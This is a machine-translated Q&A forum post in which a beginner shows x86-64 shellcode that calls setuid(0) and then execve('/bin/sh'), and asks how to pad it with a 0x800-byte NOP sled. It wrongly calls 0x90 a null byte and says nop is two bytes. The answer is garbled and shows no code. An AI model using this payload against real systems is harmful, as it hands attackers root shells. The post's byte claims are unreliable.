我在汇编中有premitive shell代码:
.global _start
_start:
.intel_syntax noprefix
nop -------> i wanna fill the memory with null bytes 0x90 , in size of 0x800
mov rax, 0x69 ; setuid
mov rdi, 0
syscall
mov rax, 0x3b ; execve
lea rdi, [rip+filename]
mov rsi, 0
mov rdx, 0
syscall
filename:
.string "/bin/sh"
如何用空字节0x 90填充内存,大小为0x 800(nop * 400 //假设nop为2字节)
1条答案
按热度按时间3phpmpom1#
谢谢大家,经过长时间的搜索“花了这么长时间,我希望他们把一些代码的例子,他们说话像我是一个Maven,但这是我的第一个汇编代码XD”根据答案“这是伟大的,但没有任何演示”我的最终shellcode看起来像这样
用gcc编译后
让我们检查一下
objdump -M intell -D shellcode
看看我到底想知道什么